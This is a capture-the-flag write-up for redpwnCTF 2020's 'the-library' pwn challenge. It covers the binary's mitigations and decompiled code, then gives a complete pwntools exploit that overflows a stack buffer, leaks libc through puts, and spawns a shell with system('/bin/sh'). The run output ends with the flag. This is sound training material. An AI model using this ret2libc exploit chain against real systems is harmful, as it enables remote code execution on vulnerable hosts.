NotDeGhost
424
There's not a lot of useful functions in the binary itself. I wonder where you can get some...
nc 2020.redpwnc.tf 31350
Tags: pwn x86-64 remote-shell rop bof
BOF -> ROP -> leak libc -> ret2main -> shell
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No shellcode on the stack, but that's about it for mitigations. Easy read/write GOT, easy BOF, easy ROP.
undefined8 main(void)
{
char local_18 [16];
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Welcome to the library... What\'s your name?");
read(0,local_18,0x100);
puts("Hello there: ");
puts(local_18);
return 0;
}
I still disassemble/decompile even if source included for the following reasons:
- Source can lie, it's true; at least two 2020 CTFs, the source did not exactly match the binary behavior. Probably older source, newer binary or vv. OTOH, at times the remote binary is not the same as the downloaded binary, in that case, perhaps the source is correct. Anyway, collect as much data as you can.
- The compiler may interpret the source differently than your head. This is especially true with stack offsets.
- I've developed a consistent workflow, checksec -> Ghidra -> explore a bit -> think about it.... I've gotten used to looking at binaries with Ghidra and while source code can vary widely, Ghidra normalizes this somewhat, at least for me, unless Go, Rust, etc... binaries, then it's back to basics, strings -> objdump -> testing -> googling -> panic :-) (Actually Go is doable, you get used to it, Rust is a completely different animal--this is a good thing).
- I've become very dependent on the Ghidra stack diagrams, esp. for BOF. Above, I know that the input buffer
local_18
is exactly0x18
from the return address in the stack. I also know if there are other variables where they are relative to each other so I can overflow just enough or avoid a canary, etc...
Moving on...
This is a simple BOF task, the input buffer is 0x18
bytes from the return address in the stack, and read
will take up to 0x100
(256) bytes supporting a rather large ROP chain.
There's only one pass, and since ASLR will still obfuscate the location of libc, we'll have to leak that first and then jump back up to main. With libc location known, we can get a shell.
#!/usr/bin/python3
from pwn import *
binary = ELF('./the-library')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc.so.6')
context.update(arch='amd64',os='linux')
rop = ROP([binary])
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31350)
Initial setup and find a pop rdi
gadget from the binary.
payload = 0x18 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got['puts'])
payload += p64(binary.plt['puts'])
payload += p64(binary.symbols['main'])
p.sendlineafter('name?',payload)
_ = p.recvuntil('Welcome').split(b'Welcome')[0].strip()[-6:]
puts = u64(_ + b'\x00\x00')
baselibc = puts - libc.symbols['puts']
print('baselibc',hex(baselibc))
libc.address = baselibc
First pass. Just overflow the buffer with 0x18
bytes, then using puts
from the GOT, have it leak it's address, then jump back to main
for a second pass.
With the puts
address known and the version of libc provided, computing the base of libc is trivial.
payload = 0x18 * b'A'
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.symbols['system'])
p.sendlineafter('name?',payload)
p.interactive()
Final pass. Again overflow the buffer with 0x18
bytes, but this time call system
from libc.
The
p64(pop_rdi + 1)
is actuallyret
(pop rdi
is 2 bytes, the 2nd isret
). This fixes a stack alignment problem that would otherwise segfaultsystem
. Most of the time it is needed, but not always, and in one recent case,execve
had to be used instead. See Blind Piloting more info as well as links if you want a deeper understanding (it's long, search for alignment).
Output:
# ./exploit.py
[*] '/pwd/datajerk/redpwnctf2020/the-library/the-library'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/pwd/datajerk/redpwnctf2020/the-library/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loading gadgets for '/pwd/datajerk/redpwnctf2020/the-library/the-library'
[+] Opening connection to 2020.redpwnc.tf on port 31350: Done
baselibc 0x7f10b1c0a000
[*] Switching to interactive mode
Hello there:
AAAAAAAAAAAAAAAAAAAAAAAA4\x07
$ cat flag.txt
flag{jump_1nt0_th3_l1brary}